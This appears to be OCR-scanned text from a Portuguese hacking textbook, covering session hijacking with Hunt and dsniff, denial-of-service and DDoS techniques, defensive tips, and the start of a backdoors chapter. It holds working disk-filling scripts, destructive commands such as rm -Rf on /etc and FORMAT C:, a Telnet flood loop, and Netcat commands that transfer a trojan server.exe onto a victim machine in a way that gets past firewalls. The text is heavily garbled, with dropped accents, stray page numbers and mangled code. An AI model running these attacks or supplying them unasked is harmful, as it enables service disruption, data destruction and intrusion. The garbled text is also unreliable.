] Ataque.
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
~ urlsnarf: fareja requisies HTTP e as apresenta no formato Common Log Format ou CLE Ferramentas de spoofing includas na sute Dsniff: ~ arpspoof: ferramenta para ARP Spoofing. ~ dnsspoof: forja respostas a solicitaes DNS em uma LAN. til para contornar regras de acesso baseadas no nome do host ou para implementar diversos ataques tipo man-in-the-middle baseados em DNS. ~ macof: uma ferramenta para MAC Flooding. Inunda a LAN com uma multido de endereos MAC randmicos, fazendo com que bridges e switches vulnerveis passem a se comportar como hubs - ou seja, deixando passar todo o trfego indiscriminadamente por todas as portas. Ferramentas de captura e controle (hijacking) includas na sute Dsniff: ~ tcpkill: derruba a conexo selecionada. ~ tcpnice: controla a velocidade da conexo entre dois ns sem prejudicar o restante da rede. interessante para reduzir a velocidade de uma conexo e, com isso, monitor-Ia "ao vivo". ~ sshmitm: age como um intermedirio (uma espcie de proxy) para conexes SSH.Uma vez desviada a conexo (com ferramentas como, por exemplo, o dnsspoof), o sshmitm pode farejar o trfego procura de logins e senhas e mesmo capturar a sesso.A poro mitm do nome significa man-in-the-middle. ~ webmitm: age tambm como intermedirio, desta vez para conexes HTTP/HTTPS (sim, suporta SSL!!!). til para conseguir senhas de acesso a sites e informaes normalmente inseridas em formulrios como nmeros de cartes de crdito e informaes "criptografadas". Alm do Hunt e do Dsniff, h algumas outras ferramentas para seqestro de sesses. Uma delas, muito conhecida, o Juggenaut (packetstorm. linuxsecurity .com/new-exploits/1.2.tar.gz). Outro tambm muito comentado o IP-Watcher, produto comercial (e pago) da Engarde Systems
www.engarde.com) . Um detalhe: todos eles so para Unix. No h boas opes de ferramentas para seqestro de sesses que rodem em Windows ou outras plataformas - neste caso especfico, meu amigo, voc est preso aos Unix. Uma sada dotar seu Windows de um ambiente Unix simulado como o Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser preciso instalar tambm as bibliotecas pertinentes a cada um dos softwares dentro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual PC completa, como o comercial e caro VMWare (www.vmware.com) ou o livre e gratuito Bochs (bochs.sourceforge.net), e rodar algum Unix para PC (Linux, FreeBSD, Solaris) dentro dele.
12941
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
Pronto! J estamos em modo interativo com a sesso capturada. A mquina Windows no tem mais controle sobre a conexo, tudo o que o usurio digitar ser ecoado no Hunt na cor verde, mas no ser enviado Coitada. Por outro lado, tudo o que o Hacker digitar no Hunt ser enviado mquina Coitada. Como uma sesso de Telnet, digitar comandos de shell no Hunt resultar em sua execuo em Coitada.
- press any key> you took over the connection CTRL-] to break ls ls Comandos digitados pelo ls usurio que perdeu a conexo exit cazzo! coitada [/home/usuario]
Desktop README
>
ls
Xsetup
Xresources
aliases.sh
chooser
tmp
coitada [/home/usuario] > W 1:44am up 7 days, 5:44, 4 users, load average: 0.99, 1.22, 1.20 LOGIN@ IDLE JCPU PCPU WHAT USER TTY FROM Wed 3pm 3:48m 0.07s 0.07s -bash root ttyl 192.168.1.1 1:07am O.OOs 0.03s O.Ols w usuario pts/2 29May03 7days O.OOs ? root pts/O Wed 3pm 9:28m 0.15s 0.15s /bin/bash root pts/l
Ou seja, o usurio tem wna realimentao do que digitou, e nenhuma mensagem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na verdade, fomecida pelo Hunt. Ele inclui o carter $ para dar uma impresso de prompt do shell - lie and deceive...
2961
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Com controle sobre "Coitada", o hacker pode tentar o que quiser: colocar um backdoor, apagar tudo, fazer download de documentos e arquivos importantes (inclusive o arquivo de senhas), usar a mquina como trampolim para outro ataque (mais uma maneira de spoofing...), tentar ganhar acesso irrestrito, etc, etc, etc. muito importante observar que usamos um servidor Unux como exemplo, mas o procedimento o mesmo para qualquer plataforma. Poderamos tranqilamente ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um servidorWmdows 2000 com ns e Telnet habilitado (ou FIP ou HTTP ou POP...). Quando cansar de brincar, o invasor pressiona Control+] para sair.Ele ter, ainda, a opo de derrubar a conexo (e o usurio na mquina Wmdows receber uma falsa mensagem de problemas com a rede) ou ressincroniz-la.O Hunt inteligente nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da mquina Windows e da prpria mquina Unix, na qual est o programa. Dessa forma, o Hunt sabe quantos pacotes Wmdows tem de enviar para o "limbo" antes de permitir sua reconexo mquina Coitada.Por exemplo, se o Hunt enviou 45 pacotes TCP para a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root: power failure - try to type 45 characters
ser mostrada na tela de Windows. Assim que o usurio digitar a 45a tecla, os nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode continuar normalmente - e, na maioria dos casos, o usurio em questo sequer perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no significa todas, e um usurio que conhea o comportamento do Hunt facilmente identificar a falcatrua e avisar a autoridade competente. Tarefa para. casa: tente fazer exatamente o mesmo com o Dsniff (leia a documentao!). Voc ver que, por no ser uma ferramenta integrada como o Hunt, mas um conjunto de pequenas ferramentas de uso especfico, ter de usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ataque com um shell script que faa uso delas.
12971
1
Invaso
I Universidade
H4CK3R I
Veremos os diversos usos do Netcat no prximo captulo. Uma ltima dica: h um excelente documento em packetstorm.linux security.com/new-exploits/ssh-insertion-attack.txt que discorre sobre captura de sesses usando o protocolo Secure Shell ou SSH.O SSH, grosso modo, um primo do Telnet cuja conexo toda criptografada. Bem, esse documento ensina a "meter-se" nessa conexo que muitos consideram segura.
1298
Universidade 3ano
Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendigando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou invasores que conseguiram acesso limitado podem tentar destruir o sistema com comandos nocivos. H diversas maneiras de fazer isso. ~ Apagamento ou destruio: um usurio com uma conta em um servidor Solaris poderia tentar um rm -Rf. em um diretrio sensvel - o letc, por exemplo. Caso o ambiente seja Windows, nada mais fcil que um FORMATC: ou um DEi *.*IS/Q. ~ Consumo de recursos: mesmo usurios com acesso muito restrito devem poder rodar programas no sistema - como trabalharo sem eles? Isso posto, possvel criar programas especialmente talhados para aumentar em progresso geomtrica o consumo de recursos da mquina - seja por mltiplos acessos a disco, inundao das interfaces de rede com trfego esprio, multiplicao indeftnida de processos ou mesmo gravao ininterrupta de dados em arquivos at preencher todo o espao disponvel. ~ Vulnerabllidades locais: um buffer overflow, se bem-feito, pode levar a acesso irrestrito ou execuo de comandos arbitrrios no sistema vulnervel. Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o programa for vital para o sistema (como partes expostas do kernel em um Windows N1) ou oferecer um servio aos usurios externos (como o X-Window ou o Sendmail em um Unix), o estrago ser maior. Caso o lixo jogado na pilha seja em quantidade realmente grande, possvel que o sistema todo caia. ~ Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um administrador de rede insatisfeito com seu salrio) podem fazer diversas "malvadezas" como reconftgurar servios ou matar processos importantes, alm de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus. H diversas ferramentas na Internet que se prestam a esse papel, e mesmo script-kiddies com um pouco mais de tutano podem criar ferramentas simples para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo DADOS.BATe, dentro dele, coloque:
@ ECHO OFF
ECHO UHackerU > DADOS.DAT : VOLTA TYPE DADOS.DAT SYSTEM.DAT TYPE SYSTEM.DAT DADOS.DAT GOTO VOLTA:
12991
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade H4CK3R I
Rode o programa DADOS.BAT e voc ver os arquivos DADOS.DAT e SYSTEM.DAT crescerem indefinidamente. Em um shell Unix to simples quanto. Experimente o seguinte script (chame-o de dados.sh):
#/bin/sh touch dados. da t touch systern.dat echo llhackerll dados.dat; while [ 1 = 1 ]; do cat dados.dat systern.dat; cat systern.dat dados.dat; done;
Execute o programinha (dados.bat no Windows, sh dados.sh no Unix) e veja o que acontece. Aparentemente nada, mas se voc der um ls no Unix ou dir no DOS para listar os arquivos (em outro shell ou outra janela do DOS) ver que o tamanho de DADOS.DATe SYSTEM.DATcrescem exponencialmente medida que o tempo passa. Rodando por apenas um minuto (60 segundos exatos) os tamanhos ficaro da ordem de 100 MB cada. Mais dez minutos e teramos dois arquivos de 1 GB cada, em 60 minutos (uma msera hora) teramos 12 GB ocupados. Os programas em DOS e Unix apresentaram desempenho semelhante quando executados no mesmo hardware. Observe que nenhum dos 2 scripts precisou de privilgios especiais para rodar: foram executados diretamente na rea autorizada para o usurio e usaram ferramentas e recursos disponveis no sistema - nada precisou ser instalado. Observe ainda que os quatro problemas listados - apagamento ou destruio, consumo de recursos, vulnerabilidades locais e alteraes por acesso irrestrito podem muito bem ser implementadas nos V1fUS que chegam a voc pela Internet e por disquetes e CDs infectados!!! De fato, os V1fUS de computador, desde que surgiram no incio dos anos 80, so um exemplo clssico de negao de servio local! Mas tudo isso de muitssimo baixo nvel. Se algum sistema computacional est merc de operrios braais munidos de marretas e picaretas algum deve perder o emprego - provavelmente o segurana da portaria e o CEO da empresa... Entretanto, h alguns tipos de ataques orquestrados externamente - em outra parte da rede interna da empresa ou mesmo via Internet. Negao de servio remoto Alm do annimato inerente aos ataques remotos, h uma inftnidade de mtodos e ferramentas que permitem que um ataque remoto tipo DoS seja des300
Universidade 3ano
truidor. Vamos nos ater mais teoria sobre DoS e indicar algumas ferramentas para levar tais ataques a bom termo. Mas como , de longe, a modalidade de ataque mais popular, documentada e comentada da Internet, deixaremos ao leitor a tarefa de buscar mais informaes a respeito. H dois "subtipos" de ataques DoS remotos. Alguns deles atacam vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que resultaram na queda de nove dos 13 roteadores-raiz da Internet (todos nos EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura exaurir todos os recursos do alvo - seja ocupao de banda da rede, multiplicao descontrolada de processos no servidor HTTP ou inundao de mensagens de e-mail - possivelmente acompanhadas de vrus potencializadores do ataque, como o Klez e o BugBear. O famoso e ancio Ping of Death - tipo de ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigantescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa dos pacotes e ao mesmo tempo consumia banda. Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano WinNuke. O programa aproveitava uma falha existente no Windows 95 e no Windows NT 3.51: caso a porta 139 - nossa velha conhecida do compartilhamento de arquivos em redes Microsoft - recebesse pacotes no vlidos em lugar do protocolo 5MB, o sistema operacional travava. H verses atuais do WinNuke que exploram outras vulnerabilidades - uma vez que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com exausto de recursos. Para saber mais sobre esse tipo de ferramentas, procure por DoS ou malformed packet dos attack em seu mecanismo de busca. Inmeras ferramentas para esse e outros tipos de ataque podem ser encontradas em packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk. J recaindo no segundo tipo, o tipo mais comum de ataque o SYN Flood ou inundao de pacotes TCP SYN.Lembra-se de nossa primeira tentativa de spoofing? Enfivamos um SYNcom IP de origem diferente do nosso. Naquela situao, no conseguamos estabelecer uma conexo spoofada por dois motivos: 1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia responder-nos; 2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e acabava com nossa conexo - e com nossa alegria... No caso de um DoS por SYNFlood, de que nos importa se seremos respondidos ou no? O que vale enviarmos tantos TCP SYN Spoofados quanto possvel, para que a mquina-alvo se ocupe de respond-Ios e no tenha tempo de responder a outras requisies de outras pessoas. Lembre-se: a vtima vai enviar um SYN-ACKe esperar por ACKs que nunca viro. Isso acabar por impossibilitar a vtima de responder a qualquer outro pedido de conexo ou mesmo atender a conexes j existentes.
1301 I
1
Invaso
I Universidade
H4CK3R I
Obviamente h outros mtodos para DoS alm do SYN Flood. Um outro mtodo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) disparados tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no responder ao IP de origem, mas ao IP falso. Uma extrapolao do DoS utilizando ICMP o famoso Smurf: dispara-se ICMP Echo Request para um grande nmero de mquinas, mas colocando como endereo IP de origem o IP da vtima (e no um falso). O resultado um grande nmero de mquinas refletindo ao mesmo tempo uma multido de pacotes ICMP em direo vtima, que sai do ar praticamente no mesmo instante.
~~,
IPx.x.x.2
~-t~~-~
Outra possibilidade usar uma mensagem UDP em vez de ICMP.H um servio chamado echo, funcionando na porta 7 UDp,que simplesmente devolve ao endereo de origem tudo o que chegar por ela. Bem, imagine ento enviar um pacote UDP spoofado, cujo IP de origem 127.0.0.1 (ou seja, o loopback - em outras palavras, a prpria mquina) e o IP de destino o IP da mquina. Em uma situao dessas, o pacote UDP entra em loop dentro da mquina. Um nmero pequeno desses pacotes basta para comprometer toda a pilha TCP!IP do sistema operacional e consumir grandes percentagens da banda de rede disponvel. Extrapolando da mesma forma como no ataque Smurf, pode-se enviar para a porta UDP 7 de inmeras mquinas pacotes com IP de origem igual ao da vtima.Todas elas devolvero o presente para a mquina sob ataque - compromeOrigem: 127.0.0.1 . tendo a banda novamente. Destino:IP daVtima PortaVO P7 Se o hackerusar broadcast, ento, o que era uma leve malvadeza passa a ser uma calamidade. Tal ataque chamado de Fraggle.
~~ ~
IP da ltima
..
~
'Socorro!
3021
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas de brute force? Alguns sistemas, para evitar justamente serem invadidos por brute force, limitam o nmero de logins permitidos (o nmero varia, mas a quantidade usual trs). Bem, um programa de brute force pode ser usado, ento, para bloquear sistematicamente todas as contas do sistema, impedindo que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o que toma a operao extremamente rpida e eficaz. Pode-se tambm multiplicar conexes a um servio especfico at que todos os recursos do servidor em questo sejam consumidos - seja na forma de processos abertos, seja por meio de esgotamento de banda. Por exemplo, se queremos derrubar um computador cujo servidor de Telnet esteja ligado, basta rodarmos um script como este em nossa mquina Unix:
while [1=1]
do
possvel fazer o mesmo no Windows com um pouco mais de trabalho. Troque telnet pelo lynx e voc tem uma ferramenta para causar o mesmo estrago em servidores HTfP. Troque pelo comando maU e voc poder encher o servidor SMTp' etc. H ainda a possibilidade de fazer o mesmo com ping, Redes Microsoft, SSH, FTP (servidores FTP do Novell Netware so especialmente apetitosos...), Usenet, Finger, MS-SQL, MS-Access,ICQ...Acho que voc j "pescou" a idia. Apesar dos ataques acima descritos poderem ser feitos manualmente por hackers de verdade, existem algumas ferramentas que facilitam e automatizam esse tipos de ataque - e os lammers as adoram. Tais ferramentas podem ser encontradas aos montes nos mesmos lugares anteriormente citados: packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk. No endereo www.astalavista.com/library/ddoslbasics/intro.shtml h um tutorial interessante (em ingls) sobre diversos tipos de pequenos ataques de DoS local e remoto que podem ser tentados. Estude todos eles, procurando na Internet exemplos e informaes adicionais sobre cada um. Mas h algo muito mais malvado que DoS simples: os ataques por negao de servio remoto distribudo, ou DDoS.
I 303 I
1
Invaso
I Universidade
H4CK3R
pacotes para cada mquina amplificadora e manter, ao mesmo tempo, muitas mquinas amplificadoras enviando esses mesmos pacotes vtima. Para resolver a parada, foi desenvolvido um certo tipo de ataque em que os pacotes destinados s vtimas no saem da mquina do hacker, mas de computadores zumbis controlados remotamente por ele. Nesses computadores, o hacker instala certos tipos de cavalo de tria ou vtrUs que respondem a comandos externos e funcionam como fonte geradora do ataque so os chamados agentes ou zu.m.bis.O "contgio" d-se pelos mesmssimos mtodos j estudados at aqui - invaso, distribuio camuflada e mesmo cooperao. O atacante possui um ou mais programas mestre, que controlam os agentes. Lembra-se de quando dissemos que a invaso de sistemas menores poderia ser usado como trampolim para chegar vtima principal? Pois bem, esta uma das situaes. O atacante leva semanas, s vezes meses, para invadir pequenos sistemas computadores pessoais e servidores de pequenas empresas sem que seu interesse imediato seja tais mquinas. Elas sero usadas, isso sim, como zumbis num ataque a grandes companhias (1234 1234 1234...), e para isso necessrio que os softwares adequados estejam instalados nelas. O hacker pode, inclusive, consertar algumas coisas e at atualizar a mquina do indivduo, caso isso seja necessrio para que o ataque principal seja levado a termo. Uma vez instalado os agentes, o hacker pode iniciar um ataque a partir do mestre: "Salvem-me!" 3041
Ataque.defesa e contra-ataque: Invaso [
Universidade 3ano
Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser sofisticado com a distribuio de diversos mestres, controlados tambm distncia pelo invasor. Ele pode tanto usar ferramentas especiais para tal, j existentes, como tambm usar coisas do sistema operacional como o Netcat ou o Telnet.
"Salvem-me!"
1305
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
Agora, uma pitada a mais de maldade: cada um dos agentes pode usar lentes Smurf ou Fraggle para multiplicar sua fora. Um ataque com essa configurao devastador!
13061
Ataque, defesae contra-ataque: Invaso [
Unive.rsidade 3ano
Defesa e contra-ataque
Bem, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o bsico do bsico sobre ataques a computadores e redes. Ustamos aqui, portanto, algumas dicas sobre o que procurar e por onde comear para segurar seus sistemas e evitar que sejam atacados com essas tcnicas. Recomendaes aplicveis a todos os tipos de ataques O mais importante! Deixe ativados apenas os servios que est realmente usando. Se o servidor apenas de HTTP e FTp, desabilite Finger, Telnet, SSH, SMTP,POp, IMAP,Quake... Configure corretamente seu fIrewall, e tenha sempre mais de um tipo, pelo menos um diferente para cada lado da DMZ. Prefira f1ltros de pacote por estado de conexo (Stateful Packet Filters) e fIrewalls do tipo Proxy. Mesmo com os servios desabilitados nos servidores, feche as portas correspondentes no
13071
1
Invaso
I Universidade
H4CK3R I
firewall para evitar trfego fantasma (por exemplo, de backdoors) e ACK Scanning. No tenha preguia: faa uma tabela de regras de ftltragem realmente longa e abrangente, preferencialmente associando portas e endereos e no simplesmente bloqueando. Mantenha sempre seus sistemas atualizados para evitar ser invadido por vulnerabilidades conhecidas e bem documentadas. Ateno especial aos hotfixes e Service Packs da Microsoft - o que no quer dizer que seus sistemas Unix e Novell precisam de menos cuidado. Por padro, crie usurios com o nnimo possvel de privilgios e v aumentando-os medida que seja preciso. Caso o usurio no precise mais do privilgio, no hesite em cass-Io. Crie polticas severas e consistentes de contas, que incluam nomes de login no-bvios, gerenciamento ostensivo de contas ativas, desativao imediata (ou antes, cancelamento) de contas ociosas, senhas fortes contendo letras, nmeros e smbolos e regras para alterao de senhas em menos de 30 dias. Alm disso, um documento interno oficial, assinado pelo funcionrio, deve regular claramente os equipamentos autorizados a conectar rede e prever punies caso a rede seja invadida ou comprometida por mau uso ou descuido do usurio.
Estouro de pilha
No h muito o que dizer alm do bvio: se voc programador, sua obrigao escrever cdigo imune a buffer overflow. Mesmo sendo inerente s linguagens de programao, possvel implementar rotinas de verificao que barram injeo maliciosa de dados. Se voc administrador de sistemas ou mesmo usurio domstico, mantenha seu sistema sempre atualizado com os ltimos "remendos" publicados pelos fabricantes de seu software. E no se concentre apenas nos servidores: as estaes tambm so vulnerveis e portas de entrada para sua rede.
13081
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo menos a cada 15 dias. O mtodo mais eficiente para barrar o brote force limitando o nmero de logins e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria um problema de DoS, mas ainda melhor que ter seus dados comprometidos. Evite o roubo de senhas a todo custo, e dificulte ao mximo a vida do cracker que porventura consegu-Io. Vale desabilitar os 1M Hashes no Windows NT/2k, criar um servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e mesmo criptografar os sistemas de arquivos. As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem como campanhas de consientizao dos usurios para os males das senhas fracas e do comportamento de risco - senhas no devem ser escritas em lugar algum, muito menos divulgadaso NUNCA! Por fim, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?) um ponto-chave para evitar que os usurios coloquem em risco toda a rede por colocar o nome do cachorro como senha pessoal.
War Driving
Criptografe sua rede e ative o WEP.Ponto fmal.
1309 I
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
Negao de Servio
IDSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o prprio IDS, o que bem possvel e mesmo provvel. As defesas contra IP Spoofing, ARP Spoofing e MAC Flooding tambm ajudam aqui. Tabelas MAC estticas em switches idem.
1310 I
Ataque.defesa e contra-ataque: Invaso
Universidade 3ano
Sistemas com a ltima atualizao liberada pela fabricante so menos expostos a DoS baseados em vulnerabilidades conhecidas. Alguns sistemas possuem patches que os tomam inclusive imunes a ataques do tipo SYN Flood e Smurf. Se possvel, compre mais velocidade para sua conexo e tenha sempre rotas alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao de trfego (Traffic Shape) tambm desejvel. Para o DDoS, uma nica recomendao, alm das anteriores: mantenha os zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os computadores procura de portas suspeitas ou programas no-autorizados. Uma ltima dica: Echolot (echolot.sourceforge.net).
I 311 I
Ataque, defesa e contra-ataque: Invaso
Manutenco .
Captulo
"Now /'m coming through the backdoor How did / get here /00 / mind /n an eerie sort ofway / sense you reaching... Wil!you linger a little longer While / wonder' TadpoLe, "Backdoor"
i. -Entro livremente por sua porta de trs I Mas como cheguei a ela? I At me importo I mas desprezo voc I Eu o sinto me alcanar ... I Voc ficar por ai um pouco
mais? I Eu fico aqui-. Do single Backdoor. de i999.
I Universidade
H4CK3R I
Ganhar acesso a um sistema qualquer - seja ele um web site, uma rede, um computador Macintosh ou um servidor Novell - no bolinho. Em todos os captulos preparatrios e especialmente no anterior, vimos alguns mtodos de como preparar o terreno e ganhar acesso aos nosso alvos. No todos, no muitos, sequer os mais importantes: a fIm de ilustrar os passos a serem seguidos, vimos apenas um ou outro exemplo. No tome este livro, portanto, como uma enciclopdia de ataques. Em vez disso, use-o como cartilha para aprender o b-a-b, e v pesquisando e estudando nos recursos indicados em todos os captulos. Leituras adicionais so muito importantes. A srie Hackers Exposed (McClure, Scambray e Kurtz, editora Makron, za edio em portugus e 4a em ingls), composta de quatro livros - Hackers Exposed, HE Windows 2k edition, HE Linux edition e HE Web edition - uma excelente companheira para nossa pequena obra e enfoc o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da coisa, a srie HE oferece um verdadeiro "dicionrio" de ataques. Mas no descuide do Bugtraq!!! Uma vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que, por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos, ento, da manuteno de nossa permanncia no seio da vtima por longos anos.
Backdoors
Toda casa possui uma porta de trs (ok, ok, alguns apartamentos mais populares [apertamentos???] possuem apenas uma passagem para acesso ao imvel - e passa pela sala de estar. Fazer o qu...). Pela porta de trs trazemos a feira, os empregados da casa tm acesso ao interior para trabalhar, os operrios trazem ferramentas e material para reformar o banheiro e samos com o cachorro para passear. , portanto, apropriadamente chamada de porta de servio. Por outro lado, pela porta da frente recebemos nossas visitas. Se for um imvel comercial, por ela tambm que recebemos nossos clientes. A decorao, os objetos e o prprio espao so diferentes nos ambientes atendidos pelas duas portas. Portanto, apropriado dizer que ambas as portas possuem funes diferentes, e, portanto, prestam-se a atividades diversas. Em um sistema computacional, muitas vezes necessrio tambm possuir vrias formas de acesso. O ambiente operacional que os usurios comuns conhecem desenvolvido de modo a tornar a utilizao do sistema mais fcil e direta. Por outro lado, devem haver formas de os administradores acessarem os sistemas tambm e, assim, desempenhar suas tarefas, muitas vezes at simultaneamente, sem incomodar o usurio.
3141
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
H diversas maneiras de chegar a isso. Em sistemas Unix, o administrador pode simplesmente logar-se remotamente como root (via SSH v2, nunca via Telnet!!!) e fazer o que for preciso. Em sistemas Windows e Macintosh, como no h essa facilidade por padro, possvel instalar programas que permitem o mesmo controle. Entre eles, podemos citar CarbonCopy, LapLink, ControlIT, o SMS da Microsoft e talvez o mais conhecido de todos: o pcAnywhere, da Symantec. Por meio desses programas, administradores entram pelas "portas de trs" nos sistemas dos usurios e fazem o que deve ser feito. H um outro uso para portas de trs em computadores domsticos e estaes de trabalho corporativas: softwares espies. Existem diversos softwares (como o I Spy e o WmKeylogger) desenvolvidos para que cnjuges ciumentos, pais extremados e empresrios paranicos possam vigiar o que suas caras-metade, filhos ou empregados andam fazendo. Passando longe da discusso sobre os aspectos legais, morais e ticos envolvidos, podemos afirmar que esses programas tambm abrem diversas portas de trs nos sistemas em que esto instalados. A economia de tempo, dinheiro e recursos gerada por essa tecnologia enorme. Bom, no? Novamente, nem tanto. E se hackers mal-intencionados (lembrese: hacker no sinnimo de bandido, portanto o qualificador apropriado...) conseguirem acessar seus sistemas por meio dessas portas de trs? Bem, a temos um problema.
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em poucos dias backdoors to ou mais completos e complexos que o B02K. NetBus, Sub7,AlienToy... A lista vasta. Mesmo programas de administrao srios (em tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere ou o VNC podem ser usados "para o mal".
$ O comando cat jogou o contedo do arquivo Buttix na tela do terminal. Da mesma forma, o comando nc pode jogar, de um lado a outro da conexo (ou seja, no necessariamente na tela), o que uma determinada porta de um computador distante est cuspindo na rede. A sintaxe mais simples nc ip.do.computador.monitorado porta. Por exemplo, o comando
C:\> NC 192.168.1.11 80
quando emitido em um computador Wmdows, vai conectar-se e monitorar tudo o que sai pela porta 80 da mquina cujo IP 192.168.1.11. Obviamente, a porta 80 tem de estar aberta, caso contrrio o Netcat abortado. A sintaxe idntica em uma mquina Unix. Na verdade, ele age como um cliente de mo dupla - recebe e tambm transmite dados. Nesse mesmo exemplo, ao emitir o comando, nada acontece - o outro lado est esperando por uma ordem. Sabemos que trata-se de um servidor Web, portanto basta enviar o comando GET (sim, precisa estar tudo em maisculas). Aps o comando, o cdigo-fonte HTMLda pgina inicial do servidor H1TP ser mostrado na tela. Pode-se usar o Netcat para conectar a volumes 5MB
1316 1 Ataque, defesa e contra-ataque: Manuteno I
Universidade 3 ano
(porta 139),FfP, Telnet, SMTP... Basta conhecer o protocolo e emitir os comandos corretos. Para conectar-se a portas UDp'usa-se a opo -u. O Netcat funciona em dois modos. O modo cliente o que vimos - envia qualquer coisa colocada em sua entrada para o IP/porta indicado. Se houver respostas, apresenta-as na tela. Por entrada, entendemos tanto a entrada padro (o teclado) como qualquer outro programa que esteja acoplado entrada (poderamos usar pipes - funciona no Windows e no Unix). H um outro modo, chamado modo servidor. este que nos interessa. O modo servidor, ao invs de enviar comandos, fica de prontido para receb-Ios e devolver o resultado da requisio para a sada padro. Veja o seguinte comando:
C:\> NC -1 -p 80
Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de testes, coloque o comando acima para rodar na mquina Windows. Na mquina Unix, use o comando aterior (nc 192.168.1.1 80). Experimente digitar na mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas. Imagine que voc quer transferir um arquivo do seu computador para o computador invadido (um B02K, por exemplo). Nada mais simples. O nome do arquivo server.exe e o endereo IP do computador alvo 192.168.1.1. No computador da vtima, use o comando
De
-1 -p 9999
>
server.exe
No do hacker, experimente
De 192.168.1.1 9999
<
server.exe
Note os redirecionamentos. No computador da vtima, o caractere ">" indica redirecionamento para o arquivo server.exe. Todos os dados recebidos sero copiados para l. No computador do atacante, o caractere "<" indica que todos os bytes do arquivo server.exe sero mandados para a entrada do Netcat. Quando o ltimo bit for transmitido, a conexo cai automaticamente. Mesmo sem acesso a FTP ou a um compartilhamento do Windows, foi possvel enviar um arquivo para o sistema da vtima. De fato, mesmo com acesso irrestrito a um shell do sistema, o atacante no tem acesso fsico a disquetes ou drives de CD (o sistema invadido pode estar do outro lado do mundo). Se no houver um meio de enviar os arquivos via rede como FTP,r-comandos no Unix e compartilhamentos no Windows, o invasor deve ter um programinha na manga para poder transferi-Ios. A opo mais direta o bem-amado Netcat. Invertendo os redirecionamentos, possvel deixar a mquina do atacante como servidor pronta para "empurrar" o arquivo, e conectar-se a ela pela mquina da vtima, que far o download. A vantagem? Bem, a maioria das configuraes de firewall iria barrar um arquivo sendo transferido se a origem da
1317 I
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
conexo vier de fora (ou seja, da mquina do hacker). Invertendo-se os papis, a mquina da vtima que requisita o arquivo - e o firewall vai alegremente deixar isso acontecer. Na mquina do hacker: ne -1 -p 9999 < server. exe
Na mquina da vtima: ne 192 .168 .1.1 9999
> server.
exe
